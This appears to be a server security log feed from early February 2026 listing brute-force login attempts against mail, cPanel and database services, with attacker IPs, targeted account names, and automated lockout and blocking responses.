country_id: 2542007
description:
2026-02-02 04:41:32 dovecot_login authenticator failed for H=([102.53.15.56]) [102.53.15.56]:58687: 535 Incorrect authentication data (set_id=info@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.228.113.27
country_id: 1835841
description:
2026-02-02 04:41:54 dovecot_login authenticator failed for H=([211.228.113.27]) [211.228.113.27]:40829: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 04:41:31 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:52906: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 04:41:06 dovecot_login authenticator failed for H=(wR1liz3XLZ) [165.154.217.204]:60151: 535 Incorrect authentication data (set_id=intercessors@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-02-02 04:41:21 dovecot_login authenticator failed for H=(I04ojUNKH) [141.98.11.11]:59992: 535 Incorrect authentication data (set_id=nmusa.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 04:41:22 dovecot_login authenticator failed for H=(MctsJzGRK) [178.16.52.139]:53656: 535 Incorrect authentication data (set_id=myloo@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 04:41:11 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:58673: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.144.255.208
country_id: 2542007
description:
2026-02-02 04:41:38 dovecot_login authenticator failed for H=([154.144.255.208]) [154.144.255.208]:41492: 535 Incorrect authentication data (set_id=support@essemgroup.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.122.255.9
country_id: 1210997
domain: www.snymetalstamping.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.snymetalstamping.com/ HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 04:42:16 dovecot_login authenticator failed for H=(N9Jx8xv180) [158.94.208.175]:64310: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 149.62.239.4
country_id: 732800
description:
2026-02-02 04:42:35 dovecot_plain authenticator failed for H=(leoxist) [149.62.239.4]:50896: 535 Incorrect authentication data (set_id=bcteh@kendek.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 04:42:06 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:51411: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-02-02 04:42:08 dovecot_login authenticator failed for H=(qwHmOJ) [141.98.11.11]:55453: 535 Incorrect authentication data (set_id=nmusa.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 04:42:05 dovecot_login authenticator failed for H=(Xu4Qg83QKh) [165.154.217.204]:50848: 535 Incorrect authentication data (set_id=intercessors@agpc.org.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 04:42:22 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account intercessors@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 04:42:44 dovecot_login authenticator failed for H=(x9cD1nth) [178.16.52.139]:64199: 535 Incorrect authentication data (set_id=myloo@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 04:42:06 dovecot_login authenticator failed for H=(7d8gR9) [178.16.54.138]:61749: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 04:43:41 dovecot_login authenticator failed for H=(2ujIbY) [165.154.217.204]:61958: 535 Incorrect authentication data (set_id=intercessors@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.246.68.220
country_id: 1835841
description:
2026-02-02 04:43:39 dovecot_login authenticator failed for H=([49.246.68.220]) [49.246.68.220]:41131: 535 Incorrect authentication data (set_id=support@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.246.36.42
country_id: 1819730
description:
2026-02-02 04:43:48 dovecot_login authenticator failed for H=042.36.246.220.static.netvigator.com [220.246.36.42]:54044: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 04:43:22 dovecot_login authenticator failed for H=(xFomD3V5OQ) [165.154.217.204]:59831: 535 Incorrect authentication data (set_id=intercessors@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 04:43:26 dovecot_login authenticator failed for H=(EBrvRwlXj) [158.94.208.175]:60061: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-02-02 04:43:29 dovecot_login authenticator failed for H=(ufsmngW) [141.98.11.11]:65294: 535 Incorrect authentication data (set_id=nmusa.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 04:43:10 dovecot_login authenticator failed for H=(qc1ZpRV) [178.16.54.138]:56771: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 04:43:12 dovecot_login authenticator failed for H=(mGyXrAdDf) [178.16.52.139]:56995: 535 Incorrect authentication data (set_id=myloo@euratech.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 04:43:20 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account intercessors@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 04:43:07 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:57619: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 176.113.155.132
country_id: 690791
description:
2026-02-02 04:43:18 dovecot_plain authenticator failed for H=(hecuping) [176.113.155.132]:42850: 535 Incorrect authentication data (set_id=azakaria.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 04:43:42 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:35432: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 04:44:19 dovecot_login authenticator failed for H=(byEb4v) [165.154.217.204]:49631: 535 Incorrect authentication data (set_id=intercessors@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.17
country_id: 2542007
description:
2026-02-02 04:44:29 dovecot_login authenticator failed for H=([102.53.15.17]) [102.53.15.17]:48796: 535 Incorrect authentication data (set_id=info@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.251.143.14
country_id: 1269750
description:
2026-02-02 04:44:46 dovecot_login authenticator failed for H=([103.251.143.14]) [103.251.143.14]:56492: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 04:44:10 dovecot_login authenticator failed for H=(N3gow2QBRT) [178.16.52.139]:52384: 535 Incorrect authentication data (set_id=myloo@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 04:44:17 dovecot_login authenticator failed for H=(JhoVK3X9Wy) [178.16.54.138]:53688: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 04:44:17 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account intercessors@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 04:44:32 dovecot_login authenticator failed for H=(T6fr2nLn3) [158.94.208.175]:56684: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-02-02 04:44:08 dovecot_login authenticator failed for H=(g85B50p) [141.98.11.11]:54681: 535 Incorrect authentication data (set_id=nmusa.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 04:44:32 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:59968: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  2 04:45:05 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account myloo@euratech.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 04:45:51 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:42806: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-02-02 04:45:13 dovecot_login authenticator failed for H=(ZMPNZ9mAu) [141.98.11.11]:53544: 535 Incorrect authentication data (set_id=nmusa.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 04:45:22 dovecot_login authenticator failed for H=(Vgp4De) [158.94.208.175]:52698: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 04:45:22 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:53453: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 04:45:07 dovecot_login authenticator failed for H=(Y8O2f8djOf) [178.16.52.139]:52606: 535 Incorrect authentication data (set_id=myloo@euratech.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 04:45:15 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account intercessors@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 04:45:17 dovecot_login authenticator failed for H=(jkSFAA) [165.154.217.204]:60482: 535 Incorrect authentication data (set_id=intercessors@agpc.org.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  2 04:46:02 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account myloo@euratech.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 04:46:13 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account intercessors@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 04:46:13 dovecot_login authenticator failed for H=(azHqRRk) [178.16.54.138]:57146: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 04:46:15 dovecot_login authenticator failed for H=(LARKF8Xxq) [165.154.217.204]:52791: 535 Incorrect authentication data (set_id=intercessors@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-02-02 04:46:34 dovecot_login authenticator failed for H=(rR3yO0e6) [141.98.11.11]:60095: 535 Incorrect authentication data (set_id=nmusa.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 04:46:04 dovecot_login authenticator failed for H=(7OclpLyeZ) [178.16.52.139]:62930: 535 Incorrect authentication data (set_id=myloo@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 93.123.109.43
country_id: 732800
description:
2026-02-02 04:46:18 dovecot_login authenticator failed for H=(ADMIN) [93.123.109.43]:40038: 535 Incorrect authentication data (set_id=info@printspecsolution.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 04:46:21 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:63444: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.57.80.193
country_id: 6252001
description:
2026-02-02 04:47:24 dovecot_plain authenticator failed for H=c-73-57-80-193.hsd1.fl.comcast.net (nuffings) [73.57.80.193]:54956: 535 Incorrect authentication data (set_id=khairul_aa@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.103.126.54
country_id: 2264397
description:
2026-02-02 04:47:57 dovecot_login authenticator failed for H=54.126.103.87.rev.vodafone.pt [87.103.126.54]:26398: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  2 04:47:21 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account myloo@euratech.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 223.197.145.114
country_id: 1819730
description:
2026-02-02 04:47:44 dovecot_login authenticator failed for H=(223-197-145-114.static.imsbiz.com) [223.197.145.114]:61436: 535 Incorrect authentication data (set_id=support@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.93.6.230
country_id: 1814991
description:
2026-02-02 04:47:49 dovecot_login authenticator failed for H=([211.93.6.230]) [211.93.6.230]:48990: 535 Incorrect authentication data (set_id=info@acburn.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 04:47:50 dovecot_login authenticator failed for H=(rY1unvoRo) [165.154.217.204]:62984: 535 Incorrect authentication data (set_id=intercessors@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 04:47:24 dovecot_login authenticator failed for H=(jPwCCDn) [158.94.208.175]:64852: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 36.37.203.28
country_id: 1831722
description:
2026-02-02 04:47:25 dovecot_login authenticator failed for H=([36.37.203.28]) [36.37.203.28]:38004: 535 Incorrect authentication data (set_id=info@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 04:47:09 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:58120: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 04:47:12 dovecot_login authenticator failed for H=(tvWRz9Xje) [165.154.217.204]:58350: 535 Incorrect authentication data (set_id=intercessors@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-02-02 04:47:14 dovecot_login authenticator failed for H=(Nd3RzBU2Mr) [141.98.11.11]:52177: 535 Incorrect authentication data (set_id=nmusa.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 04:47:15 dovecot_login authenticator failed for H=(MB6NZ0O6H) [178.16.54.138]:65365: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 04:47:23 dovecot_login authenticator failed for H=(uTf6pdT) [178.16.52.139]:63445: 535 Incorrect authentication data (set_id=myloo@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.30.20.98
country_id: 1814991
description:
2026-02-02 04:47:53 dovecot_login authenticator failed for H=([1.30.20.98]) [1.30.20.98]:54544: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 04:48:00 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:53360: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 04:48:16 dovecot_login authenticator failed for H=(gJlzD9afh) [178.16.52.139]:59992: 535 Incorrect authentication data (set_id=myloo@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-02-02 04:48:32 dovecot_login authenticator failed for H=(UitcsDb) [141.98.11.11]:50555: 535 Incorrect authentication data (set_id=nmusa.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.246.42.227
country_id: 1819730
description:
2026-02-02 04:48:59 dovecot_login authenticator failed for H=227.42.246.220.static.netvigator.com [220.246.42.227]:49370: 535 Incorrect authentication data (set_id=info@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 04:48:02 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:53249: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 04:48:09 dovecot_login authenticator failed for H=(1GnTQEPkk6) [165.154.217.204]:65299: 535 Incorrect authentication data (set_id=intercessors@agpc.org.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  2 04:48:14 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account myloo@euratech.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.204.54.153
country_id: 6252001
description:
[2026-02-02 04:48:13 +0800] info [cpaneld] 185.204.54.153 - ecrofnam "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ecrofnam (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 04:48:19 dovecot_login authenticator failed for H=(3RHOFZ) [178.16.54.138]:60579: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.108.233.190
country_id: 1835841
description:
2026-02-02 04:48:20 dovecot_login authenticator failed for H=([106.10.69.50]) [183.108.233.190]:50746: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 04:48:33 dovecot_login authenticator failed for H=(6zBnmsUMAf) [158.94.208.175]:52798: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.177.190
country_id: 1814991
description:
2026-02-02 04:48:50 dovecot_login authenticator failed for H=([111.61.177.190]) [111.61.177.190]:24706: 535 Incorrect authentication data (set_id=admin@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.175.118
country_id: 1814991
description:
2026-02-02 04:49:17 dovecot_login authenticator failed for H=([111.61.175.118]) [111.61.175.118]:21768: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 04:49:23 dovecot_login authenticator failed for H=(uQRHYzbHd) [178.16.54.138]:59570: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  2 04:49:05 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account myloo@euratech.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 04:49:06 dovecot_login authenticator failed for H=(EqbPm0) [158.94.208.175]:61750: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-02-02 04:49:10 dovecot_login authenticator failed for H=(8wM1YbEmDf) [141.98.11.11]:62076: 535 Incorrect authentication data (set_id=nmusa.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 04:49:04 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:64304: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 04:49:07 dovecot_login authenticator failed for H=(X3kaHQ) [178.16.52.139]:56295: 535 Incorrect authentication data (set_id=myloo@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.206.113.91
country_id: 1835841
description:
2026-02-02 04:49:23 dovecot_login authenticator failed for H=([175.206.113.91]) [175.206.113.91]:56490: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 95.135.92.0
country_id: 1643084
description:
[2026-02-02 04:49:30 +0800] info [cpaneld] 95.135.92.0 - kitty.yap@manforce.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid user name specified


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 04:49:09 dovecot_login authenticator failed for H=(FGW2Gz) [165.154.217.204]:53666: 535 Incorrect authentication data (set_id=intercessors@agpc.org.my)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 185.192.69.5
country_id: 2635167
description:
2026-02-02  4:49:43 259984 [Warning] Aborted connection 259984 to db: 'unconnected' user: 'unauthenticated' host: '185.192.69.5' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.235.31.47
country_id: 6252001
description:
2026-02-02 04:49:40 dovecot_login authenticator failed for H=(netmail.nasmhpd.org) [50.235.31.47]:57146: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.33.204.130
country_id: 2017370
description:
2026-02-02 04:49:46 dovecot_login authenticator failed for H=(213.33.204.130.moscow.gldn.net) [213.33.204.130]:44332: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 174.138.51.244
country_id: 6252001
description:
2026-02-02 04:49:56 dovecot_login authenticator failed for H=dummitfradin.com [174.138.51.244]:54906: 535 Incorrect authentication data (set_id=iliyas@maalloys.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 04:50:06 dovecot_login authenticator failed for H=(AXkL1A6jOr) [165.154.217.204]:58400: 535 Incorrect authentication data (set_id=intercessors@agpc.org.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 04:50:23 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account intercessors@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 04:50:14 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:59301: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 04:50:14 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:44078: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 04:50:25 dovecot_login authenticator failed for H=(vUinx5F3U) [178.16.54.138]:60109: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-02-02 04:50:37 dovecot_login authenticator failed for H=(9SajNT) [141.98.11.11]:59044: 535 Incorrect authentication data (set_id=nmusa.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 04:50:02 dovecot_login authenticator failed for H=(QnEeXGz) [178.16.52.139]:61710: 535 Incorrect authentication data (set_id=myloo@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 174.138.51.244
country_id: 6252001
description:
2026-02-02 04:50:05 dovecot_login authenticator failed for H=dummitfradin.com [174.138.51.244]:54922: 535 Incorrect authentication data (set_id=iliyas@maalloys.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 04:50:13 dovecot_login authenticator failed for H=(RcUIHsw) [158.94.208.175]:64326: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 36.135.92.36
country_id: 1814991
description:
2026-02-02 04:50:55 dovecot_login authenticator failed for H=([36.135.92.35]) [36.135.92.36]:46056: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.200.94.102
country_id: 290557
description:
2026-02-02 04:50:59 dovecot_login authenticator failed for H=([87.200.94.102]) [87.200.94.102]:45406: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.183.3.58
country_id: 1814991
description:
2026-02-02 04:51:20 dovecot_login authenticator failed for H=([1.183.3.58]) [1.183.3.58]:55775: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 04:51:20 dovecot_login authenticator failed for H=(7Tl45nG4) [158.94.208.175]:57341: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 04:51:04 dovecot_login authenticator failed for H=(paKvHGhcd) [165.154.217.204]:56370: 535 Incorrect authentication data (set_id=intercessors@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.191.142.67
country_id: 337996
description:
2026-02-02 04:51:05 dovecot_login authenticator failed for H=([196.191.142.67]) [196.191.142.67]:46396: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 04:51:16 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:55136: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 04:51:24 dovecot_login authenticator failed for H=(kInGd6p) [178.16.54.138]:49966: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)

